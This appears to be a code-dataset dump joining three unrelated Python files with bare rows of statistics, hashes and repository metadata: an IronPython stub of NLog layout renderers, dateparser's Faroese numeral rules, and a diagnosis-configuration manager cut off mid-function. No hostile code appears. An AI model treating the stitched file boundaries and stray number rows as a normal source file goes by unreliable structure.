# encoding: utf-8 # module Wms.RemotingImplementation.Logging.NLogExtensions calls itself NLogExtensions # from Wms.RemotingImplementation,Version=1.23.1.0,Culture=neutral,PublicKeyToken=null # by generator 1.145 # no doc # no important from System.Collections.Generic import * from ..__init__ import * # no functions # classes class BuildEnvironmentLayoutRenderer(LayoutRenderer): """ BuildEnvironmentLayoutRenderer() """ def ZZZ(self): """hardcoded/mock instance of the class""" return BuildEnvironmentLayoutRenderer() instance=ZZZ() """hardcoded/returns an instance of the class""" def Append(self,*args): """ Append(self: BuildEnvironmentLayoutRenderer,builder: StringBuilder,logEvent: LogEventInfo) """ pass def CloseLayoutRenderer(self,*args): """ CloseLayoutRenderer(self: LayoutRenderer) """ pass def Dispose(self): """ Dispose(self: LayoutRenderer,disposing: bool) """ pass def GetCulture(self,*args): """ GetCulture(self: LayoutRenderer,logEvent: LogEventInfo,layoutCulture: CultureInfo) -> CultureInfo """ pass def GetFormatProvider(self,*args): """ GetFormatProvider(self: LayoutRenderer,logEvent: LogEventInfo,layoutCulture: IFormatProvider) -> IFormatProvider """ pass def InitializeLayoutRenderer(self,*args): """ InitializeLayoutRenderer(self: LayoutRenderer) """ pass def __enter__(self,*args): """ __enter__(self: IDisposable) -> object """ pass def __exit__(self,*args): """ __exit__(self: IDisposable,exc_type: object,exc_value: object,exc_back: object) """ pass def __init__(self,*args): """ x.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signature """ pass def __str__(self,*args): pass LoggingConfiguration=property(lambda self: object(),lambda self,v: None,lambda self: None) class BwAccessIdLayoutRenderer(LayoutRenderer): """ BwAccessIdLayoutRenderer() """ def ZZZ(self): """hardcoded/mock instance of the class""" return BwAccessIdLayoutRenderer() instance=ZZZ() """hardcoded/returns an instance of the class""" def Append(self,*args): """ Append(self: BwAccessIdLayoutRenderer,builder: StringBuilder,logEvent: LogEventInfo) """ pass def CloseLayoutRenderer(self,*args): """ CloseLayoutRenderer(self: LayoutRenderer) """ pass def Dispose(self): """ Dispose(self: LayoutRenderer,disposing: bool) """ pass def GetCulture(self,*args): """ GetCulture(self: LayoutRenderer,logEvent: LogEventInfo,layoutCulture: CultureInfo) -> CultureInfo """ pass def GetFormatProvider(self,*args): """ GetFormatProvider(self: LayoutRenderer,logEvent: LogEventInfo,layoutCulture: IFormatProvider) -> IFormatProvider """ pass def InitializeLayoutRenderer(self,*args): """ InitializeLayoutRenderer(self: LayoutRenderer) """ pass def __enter__(self,*args): """ __enter__(self: IDisposable) -> object """ pass def __exit__(self,*args): """ __exit__(self: IDisposable,exc_type: object,exc_value: object,exc_back: object) """ pass def __init__(self,*args): """ x.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signature """ pass def __str__(self,*args): pass LoggingConfiguration=property(lambda self: object(),lambda self,v: None,lambda self: None) class BwCategoryLayoutRenderer(LayoutRenderer): """ BwCategoryLayoutRenderer() """ def ZZZ(self): """hardcoded/mock instance of the class""" return BwCategoryLayoutRenderer() instance=ZZZ() """hardcoded/returns an instance of the class""" def Append(self,*args): """ Append(self: BwCategoryLayoutRenderer,builder: StringBuilder,logEvent: LogEventInfo) """ pass def CloseLayoutRenderer(self,*args): """ CloseLayoutRenderer(self: LayoutRenderer) """ pass def Dispose(self): """ Dispose(self: LayoutRenderer,disposing: bool) """ pass def GetCulture(self,*args): """ GetCulture(self: LayoutRenderer,logEvent: LogEventInfo,layoutCulture: CultureInfo) -> CultureInfo """ pass def GetFormatProvider(self,*args): """ GetFormatProvider(self: LayoutRenderer,logEvent: LogEventInfo,layoutCulture: IFormatProvider) -> IFormatProvider """ pass def InitializeLayoutRenderer(self,*args): """ InitializeLayoutRenderer(self: LayoutRenderer) """ pass def __enter__(self,*args): """ __enter__(self: IDisposable) -> object """ pass def __exit__(self,*args): """ __exit__(self: IDisposable,exc_type: object,exc_value: object,exc_back: object) """ pass def __init__(self,*args): """ x.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signature """ pass def __str__(self,*args): pass LoggingConfiguration=property(lambda self: object(),lambda self,v: None,lambda self: None) class BwClientNameLayoutRenderer(LayoutRenderer): """ BwClientNameLayoutRenderer() """ def ZZZ(self): """hardcoded/mock instance of the class""" return BwClientNameLayoutRenderer() instance=ZZZ() """hardcoded/returns an instance of the class""" def Append(self,*args): """ Append(self: BwClientNameLayoutRenderer,builder: StringBuilder,logEvent: LogEventInfo) """ pass def CloseLayoutRenderer(self,*args): """ CloseLayoutRenderer(self: LayoutRenderer) """ pass def Dispose(self): """ Dispose(self: LayoutRenderer,disposing: bool) """ pass def GetCulture(self,*args): """ GetCulture(self: LayoutRenderer,logEvent: LogEventInfo,layoutCulture: CultureInfo) -> CultureInfo """ pass def GetFormatProvider(self,*args): """ GetFormatProvider(self: LayoutRenderer,logEvent: LogEventInfo,layoutCulture: IFormatProvider) -> IFormatProvider """ pass def InitializeLayoutRenderer(self,*args): """ InitializeLayoutRenderer(self: LayoutRenderer) """ pass def __enter__(self,*args): """ __enter__(self: IDisposable) -> object """ pass def __exit__(self,*args): """ __exit__(self: IDisposable,exc_type: object,exc_value: object,exc_back: object) """ pass def __init__(self,*args): """ x.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signature """ pass def __str__(self,*args): pass LoggingConfiguration=property(lambda self: object(),lambda self,v: None,lambda self: None) class BwDeviceMacAddressLayoutRenderer(LayoutRenderer): """ BwDeviceMacAddressLayoutRenderer() """ def ZZZ(self): """hardcoded/mock instance of the class""" return BwDeviceMacAddressLayoutRenderer() instance=ZZZ() """hardcoded/returns an instance of the class""" def Append(self,*args): """ Append(self: BwDeviceMacAddressLayoutRenderer,builder: StringBuilder,logEvent: LogEventInfo) """ pass def CloseLayoutRenderer(self,*args): """ CloseLayoutRenderer(self: LayoutRenderer) """ pass def Dispose(self): """ Dispose(self: LayoutRenderer,disposing: bool) """ pass def GetCulture(self,*args): """ GetCulture(self: LayoutRenderer,logEvent: LogEventInfo,layoutCulture: CultureInfo) -> CultureInfo """ pass def GetFormatProvider(self,*args): """ GetFormatProvider(self: LayoutRenderer,logEvent: LogEventInfo,layoutCulture: IFormatProvider) -> IFormatProvider """ pass def InitializeLayoutRenderer(self,*args): """ InitializeLayoutRenderer(self: LayoutRenderer) """ pass def __enter__(self,*args): """ __enter__(self: IDisposable) -> object """ pass def __exit__(self,*args): """ __exit__(self: IDisposable,exc_type: object,exc_value: object,exc_back: object) """ pass def __init__(self,*args): """ x.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signature """ pass def __str__(self,*args): pass LoggingConfiguration=property(lambda self: object(),lambda self,v: None,lambda self: None) class BwDeviceTypeLayoutRenderer(LayoutRenderer): """ BwDeviceTypeLayoutRenderer() """ def ZZZ(self): """hardcoded/mock instance of the class""" return BwDeviceTypeLayoutRenderer() instance=ZZZ() """hardcoded/returns an instance of the class""" def Append(self,*args): """ Append(self: BwDeviceTypeLayoutRenderer,builder: StringBuilder,logEvent: LogEventInfo) """ pass def CloseLayoutRenderer(self,*args): """ CloseLayoutRenderer(self: LayoutRenderer) """ pass def Dispose(self): """ Dispose(self: LayoutRenderer,disposing: bool) """ pass def GetCulture(self,*args): """ GetCulture(self: LayoutRenderer,logEvent: LogEventInfo,layoutCulture: CultureInfo) -> CultureInfo """ pass def GetFormatProvider(self,*args): """ GetFormatProvider(self: LayoutRenderer,logEvent: LogEventInfo,layoutCulture: IFormatProvider) -> IFormatProvider """ pass def InitializeLayoutRenderer(self,*args): """ InitializeLayoutRenderer(self: LayoutRenderer) """ pass def __enter__(self,*args): """ __enter__(self: IDisposable) -> object """ pass def __exit__(self,*args): """ __exit__(self: IDisposable,exc_type: object,exc_value: object,exc_back: object) """ pass def __init__(self,*args): """ x.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signature """ pass def __str__(self,*args): pass LoggingConfiguration=property(lambda self: object(),lambda self,v: None,lambda self: None) class BwUserLayoutRenderer(LayoutRenderer): """ BwUserLayoutRenderer() """ def ZZZ(self): """hardcoded/mock instance of the class""" return BwUserLayoutRenderer() instance=ZZZ() """hardcoded/returns an instance of the class""" def Append(self,*args): """ Append(self: BwUserLayoutRenderer,builder: StringBuilder,logEvent: LogEventInfo) """ pass def CloseLayoutRenderer(self,*args): """ CloseLayoutRenderer(self: LayoutRenderer) """ pass def Dispose(self): """ Dispose(self: LayoutRenderer,disposing: bool) """ pass def GetCulture(self,*args): """ GetCulture(self: LayoutRenderer,logEvent: LogEventInfo,layoutCulture: CultureInfo) -> CultureInfo """ pass def GetFormatProvider(self,*args): """ GetFormatProvider(self: LayoutRenderer,logEvent: LogEventInfo,layoutCulture: IFormatProvider) -> IFormatProvider """ pass def InitializeLayoutRenderer(self,*args): """ InitializeLayoutRenderer(self: LayoutRenderer) """ pass def __enter__(self,*args): """ __enter__(self: IDisposable) -> object """ pass def __exit__(self,*args): """ __exit__(self: IDisposable,exc_type: object,exc_value: object,exc_back: object) """ pass def __init__(self,*args): """ x.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signature """ pass def __str__(self,*args): pass LoggingConfiguration=property(lambda self: object(),lambda self,v: None,lambda self: None) class BwZoneNameLayoutRenderer(LayoutRenderer): """ BwZoneNameLayoutRenderer() """ def ZZZ(self): """hardcoded/mock instance of the class""" return BwZoneNameLayoutRenderer() instance=ZZZ() """hardcoded/returns an instance of the class""" def Append(self,*args): """ Append(self: BwZoneNameLayoutRenderer,builder: StringBuilder,logEvent: LogEventInfo) """ pass def CloseLayoutRenderer(self,*args): """ CloseLayoutRenderer(self: LayoutRenderer) """ pass def Dispose(self): """ Dispose(self: LayoutRenderer,disposing: bool) """ pass def GetCulture(self,*args): """ GetCulture(self: LayoutRenderer,logEvent: LogEventInfo,layoutCulture: CultureInfo) -> CultureInfo """ pass def GetFormatProvider(self,*args): """ GetFormatProvider(self: LayoutRenderer,logEvent: LogEventInfo,layoutCulture: IFormatProvider) -> IFormatProvider """ pass def InitializeLayoutRenderer(self,*args): """ InitializeLayoutRenderer(self: LayoutRenderer) """ pass def __enter__(self,*args): """ __enter__(self: IDisposable) -> object """ pass def __exit__(self,*args): """ __exit__(self: IDisposable,exc_type: object,exc_value: object,exc_back: object) """ pass def __init__(self,*args): """ x.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signature """ pass def __str__(self,*args): pass LoggingConfiguration=property(lambda self: object(),lambda self,v: None,lambda self: None) class CustomTraceActivityIdLayoutRenderer(LayoutRenderer): """ CustomTraceActivityIdLayoutRenderer() """ def ZZZ(self): """hardcoded/mock instance of the class""" return CustomTraceActivityIdLayoutRenderer() instance=ZZZ() """hardcoded/returns an instance of the class""" def Append(self,*args): """ Append(self: CustomTraceActivityIdLayoutRenderer,builder: StringBuilder,logEvent: LogEventInfo) """ pass def CloseLayoutRenderer(self,*args): """ CloseLayoutRenderer(self: LayoutRenderer) """ pass def Dispose(self): """ Dispose(self: LayoutRenderer,disposing: bool) """ pass def GetCulture(self,*args): """ GetCulture(self: LayoutRenderer,logEvent: LogEventInfo,layoutCulture: CultureInfo) -> CultureInfo """ pass def GetFormatProvider(self,*args): """ GetFormatProvider(self: LayoutRenderer,logEvent: LogEventInfo,layoutCulture: IFormatProvider) -> IFormatProvider """ pass def InitializeLayoutRenderer(self,*args): """ InitializeLayoutRenderer(self: LayoutRenderer) """ pass def __enter__(self,*args): """ __enter__(self: IDisposable) -> object """ pass def __exit__(self,*args): """ __exit__(self: IDisposable,exc_type: object,exc_value: object,exc_back: object) """ pass def __init__(self,*args): """ x.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signature """ pass def __str__(self,*args): pass LoggingConfiguration=property(lambda self: object(),lambda self,v: None,lambda self: None) class IsProfilerTraceEventLayoutRenderer(LayoutRenderer): """ IsProfilerTraceEventLayoutRenderer() """ def ZZZ(self): """hardcoded/mock instance of the class""" return IsProfilerTraceEventLayoutRenderer() instance=ZZZ() """hardcoded/returns an instance of the class""" def Append(self,*args): """ Append(self: IsProfilerTraceEventLayoutRenderer,builder: StringBuilder,logEvent: LogEventInfo) """ pass def CloseLayoutRenderer(self,*args): """ CloseLayoutRenderer(self: LayoutRenderer) """ pass def Dispose(self): """ Dispose(self: LayoutRenderer,disposing: bool) """ pass def GetCulture(self,*args): """ GetCulture(self: LayoutRenderer,logEvent: LogEventInfo,layoutCulture: CultureInfo) -> CultureInfo """ pass def GetFormatProvider(self,*args): """ GetFormatProvider(self: LayoutRenderer,logEvent: LogEventInfo,layoutCulture: IFormatProvider) -> IFormatProvider """ pass def InitializeLayoutRenderer(self,*args): """ InitializeLayoutRenderer(self: LayoutRenderer) """ pass def __enter__(self,*args): """ __enter__(self: IDisposable) -> object """ pass def __exit__(self,*args): """ __exit__(self: IDisposable,exc_type: object,exc_value: object,exc_back: object) """ pass def __init__(self,*args): """ x.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signature """ pass def __str__(self,*args): pass LoggingConfiguration=property(lambda self: object(),lambda self,v: None,lambda self: None) IsProfileTracerEventKey='IsProfilerTracerEvent' class LicenseNameLayoutRenderer(LayoutRenderer): """ LicenseNameLayoutRenderer() """ def ZZZ(self): """hardcoded/mock instance of the class""" return LicenseNameLayoutRenderer() instance=ZZZ() """hardcoded/returns an instance of the class""" def Append(self,*args): """ Append(self: LicenseNameLayoutRenderer,builder: StringBuilder,logEvent: LogEventInfo) """ pass def CloseLayoutRenderer(self,*args): """ CloseLayoutRenderer(self: LayoutRenderer) """ pass def Dispose(self): """ Dispose(self: LayoutRenderer,disposing: bool) """ pass def GetCulture(self,*args): """ GetCulture(self: LayoutRenderer,logEvent: LogEventInfo,layoutCulture: CultureInfo) -> CultureInfo """ pass def GetFormatProvider(self,*args): """ GetFormatProvider(self: LayoutRenderer,logEvent: LogEventInfo,layoutCulture: IFormatProvider) -> IFormatProvider """ pass def InitializeLayoutRenderer(self,*args): """ InitializeLayoutRenderer(self: LayoutRenderer) """ pass def __enter__(self,*args): """ __enter__(self: IDisposable) -> object """ pass def __exit__(self,*args): """ __exit__(self: IDisposable,exc_type: object,exc_value: object,exc_back: object) """ pass def __init__(self,*args): """ x.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signature """ pass def __str__(self,*args): pass LoggingConfiguration=property(lambda self: object(),lambda self,v: None,lambda self: None) class TraceTypeLayoutRenderer(LayoutRenderer): """ TraceTypeLayoutRenderer() """ def ZZZ(self): """hardcoded/mock instance of the class""" return TraceTypeLayoutRenderer() instance=ZZZ() """hardcoded/returns an instance of the class""" def Append(self,*args): """ Append(self: TraceTypeLayoutRenderer,builder: StringBuilder,logEvent: LogEventInfo) """ pass def CloseLayoutRenderer(self,*args): """ CloseLayoutRenderer(self: LayoutRenderer) """ pass def Dispose(self): """ Dispose(self: LayoutRenderer,disposing: bool) """ pass def GetCulture(self,*args): """ GetCulture(self: LayoutRenderer,logEvent: LogEventInfo,layoutCulture: CultureInfo) -> CultureInfo """ pass def GetFormatProvider(self,*args): """ GetFormatProvider(self: LayoutRenderer,logEvent: LogEventInfo,layoutCulture: IFormatProvider) -> IFormatProvider """ pass def InitializeLayoutRenderer(self,*args): """ InitializeLayoutRenderer(self: LayoutRenderer) """ pass def __enter__(self,*args): """ __enter__(self: IDisposable) -> object """ pass def __exit__(self,*args): """ __exit__(self: IDisposable,exc_type: object,exc_value: object,exc_back: object) """ pass def __init__(self,*args): """ x.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signature """ pass def __str__(self,*args): pass LoggingConfiguration=property(lambda self: object(),lambda self,v: None,lambda self: None) class VersionLayoutRenderer(LayoutRenderer): """ VersionLayoutRenderer() """ def ZZZ(self): """hardcoded/mock instance of the class""" return VersionLayoutRenderer() instance=ZZZ() """hardcoded/returns an instance of the class""" def Append(self,*args): """ Append(self: VersionLayoutRenderer,builder: StringBuilder,logEvent: LogEventInfo) """ pass def CloseLayoutRenderer(self,*args): """ CloseLayoutRenderer(self: LayoutRenderer) """ pass def Dispose(self): """ Dispose(self: LayoutRenderer,disposing: bool) """ pass def GetCulture(self,*args): """ GetCulture(self: LayoutRenderer,logEvent: LogEventInfo,layoutCulture: CultureInfo) -> CultureInfo """ pass def GetFormatProvider(self,*args): """ GetFormatProvider(self: LayoutRenderer,logEvent: LogEventInfo,layoutCulture: IFormatProvider) -> IFormatProvider """ pass def InitializeLayoutRenderer(self,*args): """ InitializeLayoutRenderer(self: LayoutRenderer) """ pass def __enter__(self,*args): """ __enter__(self: IDisposable) -> object """ pass def __exit__(self,*args): """ __exit__(self: IDisposable,exc_type: object,exc_value: object,exc_back: object) """ pass def __init__(self,*args): """ x.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signature """ pass def __str__(self,*args): pass LoggingConfiguration=property(lambda self: object(),lambda self,v: None,lambda self: None) # variables with complex values

38.675978

214

0.739516

2,167

20,769

6.707891

0.046608

0.064392

0.042928

0.050977

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0

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20,769

536

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38.748134

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0.535269

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0

0.002569

0

1

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false

0.396341

0.006098

0

0.603659

0

null

0

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null

0

1

0

1

0

1

0

10

f65c8fde4a23a441789bee795922fc9c1bd0c879

4,518

py

Python

dateparser/data/numeral_translation_data/fo.py

bazingarj/dateparser

48c4563fb7f6ce685fbd6d27e9e83257521d2203

[ "BSD-3-Clause" ]

8

2019-11-15T21:00:15.000Z

2021-12-21T22:09:42.000Z

dateparser/data/numeral_translation_data/fo.py

bazingarj/dateparser

48c4563fb7f6ce685fbd6d27e9e83257521d2203

[ "BSD-3-Clause" ]

9

2020-06-05T21:28:57.000Z

2022-02-12T12:30:39.000Z

dateparser/data/numeral_translation_data/fo.py

bazingarj/dateparser

48c4563fb7f6ce685fbd6d27e9e83257521d2203

[ "BSD-3-Clause" ]

21

2019-03-11T04:25:23.000Z

2022-02-03T08:54:33.000Z

# -*- coding: utf-8 -*- info = { "%spellout-cardinal-feminine": { "0": "null;", "1": "ein;", "2": "tvær;", "3": "tríggjar;", "4": "fýre;", "(5, 19)": "=%spellout-cardinal-masculine=;", "(20, 29)": "tjúgo[>>];", "(30, 39)": "tríati[>>];", "(40, 49)": "fýrati[>>];", "(50, 59)": "fimmti[>>];", "(60, 69)": "seksti[>>];", "(70, 79)": "sjeyti[>>];", "(80, 89)": "áttati[>>];", "(90, 99)": "níti[>>];", "(100, 999)": "<%spellout-cardinal-neuter<hundrað[og>>];", "(1000, 999999)": "<%spellout-cardinal-neuter< tusin[ og >>];", "(1000000, 1999999)": "ein millión[ og >>];", "(2000000, 999999999)": "<%spellout-cardinal-feminine< millióner[ og >>];", "(1000000000, 1999999999)": "ein milliard[ og >>];", "(2000000000, 999999999999)": "<%spellout-cardinal-feminine< milliarder[ og >>];", "(1000000000000, 1999999999999)": "ein billión[ og >>];", "(2000000000000, 999999999999999)": "<%spellout-cardinal-feminine< billióner[ og >>];", "(1000000000000000, 1999999999999999)": "ein billiard[ og >>];", "(2000000000000000, 999999999999999999)": "<%spellout-cardinal-feminine< billiarder[ og >>];", "(1000000000000000000, 'inf')": "=#,##0=;" }, "%spellout-cardinal-masculine": { "0": "null;", "1": "ein;", "2": "tveir;", "3": "tríggir;", "4": "fýre;", "5": "fimm;", "6": "seks;", "7": "sjey;", "8": "átta;", "9": "níggju;", "10": "tíggju;", "11": "ellivu;", "12": "tólv;", "13": "trettan;", "14": "fjúrtan;", "15": "fímtan;", "16": "sekstan;", "17": "seytan;", "18": "átjan;", "19": "nítjan;", "(20, 29)": "tjúgo[>>];", "(30, 39)": "tríati[>>];", "(40, 49)": "fýrati[>>];", "(50, 59)": "fimmti[>>];", "(60, 69)": "seksti[>>];", "(70, 79)": "sjeyti[>>];", "(80, 89)": "áttati[>>];", "(90, 99)": "níti[>>];", "(100, 999)": "<%spellout-cardinal-neuter<hundrað[og>>];", "(1000, 999999)": "<%spellout-cardinal-neuter< tusin[ og >>];", "(1000000, 1999999)": "ein millión[ og >>];", "(2000000, 999999999)": "<%spellout-cardinal-feminine< millióner[ og >>];", "(1000000000, 1999999999)": "ein milliard[ og >>];", "(2000000000, 999999999999)": "<%spellout-cardinal-feminine< milliarder[ og >>];", "(1000000000000, 1999999999999)": "ein billión[ og >>];", "(2000000000000, 999999999999999)": "<%spellout-cardinal-feminine< billióner[ og >>];", "(1000000000000000, 1999999999999999)": "ein billiard[ og >>];", "(2000000000000000, 999999999999999999)": "<%spellout-cardinal-feminine< billiarder[ og >>];", "(1000000000000000000, 'inf')": "=#,##0=;" }, "%spellout-cardinal-neuter": { "0": "null;", "1": "eitt;", "2": "tvey;", "3": "trý;", "4": "fýre;", "(5, 19)": "=%spellout-cardinal-masculine=;", "(20, 29)": "tjúgo[>>];", "(30, 39)": "tríati[>>];", "(40, 49)": "fýrati[>>];", "(50, 59)": "fimmti[>>];", "(60, 69)": "seksti[>>];", "(70, 79)": "sjeyti[>>];", "(80, 89)": "áttati[>>];", "(90, 99)": "níti[>>];", "(100, 999)": "<%spellout-cardinal-neuter<hundrað[og>>];", "(1000, 999999)": "<%spellout-cardinal-neuter< tusin[ og >>];", "(1000000, 1999999)": "ein millión[ og >>];", "(2000000, 999999999)": "<%spellout-cardinal-feminine< millióner[ og >>];", "(1000000000, 1999999999)": "ein milliard[ og >>];", "(2000000000, 999999999999)": "<%spellout-cardinal-feminine< milliarder[ og >>];", "(1000000000000, 1999999999999)": "ein billión[ og >>];", "(2000000000000, 999999999999999)": "<%spellout-cardinal-feminine< billióner[ og >>];", "(1000000000000000, 1999999999999999)": "ein billiard[ og >>];", "(2000000000000000, 999999999999999999)": "<%spellout-cardinal-feminine< billiarder[ og >>];", "(1000000000000000000, 'inf')": "=#,##0=;" }, "%spellout-numbering": { "(0, 'inf')": "=%spellout-cardinal-masculine=;" }, "%spellout-numbering-year": { "(0, 9999)": "=%spellout-numbering=;", "(10000, 'inf')": "=%spellout-numbering=;" } }

43.028571

102

0.469677

401

4,518

5.374065

0.286783

0.17819

0.14478

0.013921

0.853364

0.844084

0

0.247052

0.249225

4,518

105

103

43.028571

0.378538

0.004648

0

0.644231

0

0.652358

0.192393

0

1

0

false

0

null

0

1

0

1

0

1

0

1

0

null

0

9

9c8f159a529adf3ed28d67550eca2e2839504ec3

82,223

py

Python

tug_diagnosis/tug_diagnosis/scripts/pymbd/benchmark/tug_description_parser/model.py

annajohny/sdp

2f66e226fc335ae357001d07fbc74d30ab469509

[ "BSD-3-Clause" ]

null

tug_diagnosis/tug_diagnosis/scripts/pymbd/benchmark/tug_description_parser/model.py

annajohny/sdp

2f66e226fc335ae357001d07fbc74d30ab469509

[ "BSD-3-Clause" ]

null

tug_diagnosis/tug_diagnosis/scripts/pymbd/benchmark/tug_description_parser/model.py

annajohny/sdp

2f66e226fc335ae357001d07fbc74d30ab469509

[ "BSD-3-Clause" ]

null

from ab_constraint import AbConstraint from observer import generate_model_parameter from observers.base_observer import ab_pred from sentences import PushSentence from pymbd.sat.description import Description from pymbd.sat.problem import Problem from pymbd.sat.variable import Variable from config_validator import DiagnosisConfigValidator from tug_diagnosis_msgs.msg import configuration, node_configuration, observer_configuration from tug_diagnosis_msgs.srv import DiagnosisConfigurationResponse import unittest class ConfigurationValidation(object): def __init__(self, **options): pass @staticmethod def compare_list_content_and_len(list1, list2): if not set(list1) == set(list2): return False if not len(list1) == len(list2): return False return True @staticmethod def compare_configs(config_1, config_2): # test if both configs exist if not config_1 or not config_2: return False # test if both configs have the same nodes name_list1, name_list2 = [_.name for _ in config_1.nodes], [_.name for _ in config_2.nodes] if not ConfigurationValidation.compare_list_content_and_len(name_list1, name_list2): return False # compare nodes for node1 in config_1.nodes: # get corresponding node index_if_exists = name_list2.index(node1.name) node2 = config_2.nodes[index_if_exists] # compare node content if not ConfigurationValidation.compare_list_content_and_len(node1.sub_topic, node2.sub_topic): return False if not ConfigurationValidation.compare_list_content_and_len(node1.pub_topic, node2.pub_topic): return False # test if both configs have the same observers type_list1, type_list2 = [_.type for _ in config_1.observers], [_.type for _ in config_2.observers] if not ConfigurationValidation.compare_list_content_and_len(type_list1, type_list2): return False # compare observers for observer1 in config_1.observers: match_found = False for observer2 in config_2.observers: # compare observer content if not ConfigurationValidation.compare_list_content_and_len(observer1.resource, observer2.resource): continue match_found = True break if not match_found: return False return True class ModelGenerator(object): def __init__(self, **options): self.config = None def test_config(self): DiagnosisConfigValidator.minimize_config(self.config) # check = DiagnosisConfigValidator(config=self.config, debug=DiagnosisConfigValidator.DEBUG_LEVEL_VERBOSE) check = DiagnosisConfigValidator(config=self.config, debug=DiagnosisConfigValidator.DEBUG_LEVEL_DISABLED) result = check.run_tests() return result def set_config(self, set_config): config_backup = self.copy(self.config) self.config = self.copy(set_config) if not self.test_config(): self.config = config_backup return DiagnosisConfigurationResponse(errorcode=DiagnosisConfigurationResponse.CONFIG_INVALID, error_msg='New configuration is not valid!') return DiagnosisConfigurationResponse(errorcode=DiagnosisConfigurationResponse.NO_ERROR, error_msg='') def add_config(self, config_add): """ Add new nodes and/or observers to model config. If node.name exists, only the pub- and/or sub-topics are added. If observer.type exists, only the resource is added. :param config_add: :return: """ if not self.config: return DiagnosisConfigurationResponse(errorcode=DiagnosisConfigurationResponse.CONFIG_INVALID, error_msg='Config need to be set first!') if not config_add: raise ValueError('No config given for adding') config_add = self.copy(config_add) config_backup = self.copy(self.config) # add to nodes for node in config_add.nodes: name_list = [_.name for _ in self.config.nodes] if node.name in name_list: index_if_exists = name_list.index(node.name) known_node = self.config.nodes[index_if_exists] known_node.sub_topic = list(set(known_node.sub_topic + node.sub_topic)) known_node.pub_topic = list(set(known_node.pub_topic + node.pub_topic)) else: self.config.nodes.append(node) # add to observers for observer in config_add.observers: match_found = False for known_observer in self.config.observers: # compare observer content if not observer.type == known_observer.type: continue if not ConfigurationValidation.compare_list_content_and_len(observer.resource, known_observer.resource): continue match_found = True if match_found: continue self.config.observers.append(observer) if not self.test_config(): self.config = config_backup return DiagnosisConfigurationResponse(errorcode=DiagnosisConfigurationResponse.CONFIG_INVALID, error_msg='New configuration is not valid!') return DiagnosisConfigurationResponse(errorcode=DiagnosisConfigurationResponse.NO_ERROR, error_msg='') def remove_config(self, config_remove): """ This removes the configuration for given nodes and/or observers. If only nodes.name is given, without pub- or sub-topics, the whole node will be removed. If also pub- and/or sub-topics are given, only these topics will be removed. Remaining pub- and sub-topics of the node are not removed. The node will also be removed, if it has no remaining pub- and sub-topics. If only observers.type is given, without resource, all observer of this type will be removed. If also resource is given, only these observer will be removed. Other observers of same type but with other resource are not removed. The observer will also be removed, if it has no remaining resources. :param config_remove: config about nodes and observers that should be removed from the model config """ if not self.config: return DiagnosisConfigurationResponse(errorcode=DiagnosisConfigurationResponse.CONFIG_INVALID, error_msg='Config need to be set first!') if not config_remove: raise ValueError('No config given for removing') config_remove = self.copy(config_remove) config_backup = self.copy(self.config) for node in config_remove.nodes: # remove of nodes name_list = [_.name for _ in self.config.nodes] if node.name in name_list: index_if_exists = name_list.index(node.name) known_node = self.config.nodes[index_if_exists] for topic in node.sub_topic: if topic in known_node.sub_topic: known_node.sub_topic.remove(topic) for topic in node.pub_topic: if topic in known_node.pub_topic: known_node.pub_topic.remove(topic) if not len(node.sub_topic) and not len(node.pub_topic): del self.config.nodes[index_if_exists] elif not len(known_node.sub_topic) and not len(known_node.pub_topic): del self.config.nodes[index_if_exists] # remove of observers for observer in config_remove.observers: # find in known observers for index, known_observer in enumerate(self.config.observers): # continue if name does not fit if not observer.type == known_observer.type: continue # delete and continue if no resource is given if not len(observer.resource): self.config.observers[index] = None continue # continue if resource content does not fit if not ConfigurationValidation.compare_list_content_and_len(observer.resource, known_observer.resource): continue # delete observer because you came so far self.config.observers[index] = None break # deleting from list while iterating is a bad idea, so list is reduced here self.config.observers = [x for x in self.config.observers if x] if not self.test_config(): self.config = config_backup return DiagnosisConfigurationResponse(errorcode=DiagnosisConfigurationResponse.CONFIG_INVALID, error_msg='New configuration is not valid!') return DiagnosisConfigurationResponse(errorcode=DiagnosisConfigurationResponse.NO_ERROR, error_msg='') def update_config(self, config_update): """ This is similar to set, but only for given nodes and/or observers. All observers of given type are removed and new observers are added. :param config_update: new config for given nodes and/or observers """ if not self.config: return DiagnosisConfigurationResponse(errorcode=DiagnosisConfigurationResponse.CONFIG_INVALID, error_msg='Config need to be set first!') if not config_update: raise ValueError('No config given for updating') config_update = self.copy(config_update) config_backup = self.copy(self.config) for node in config_update.nodes: # update of nodes name_list = [_.name for _ in self.config.nodes] if node.name in name_list: index_if_exists 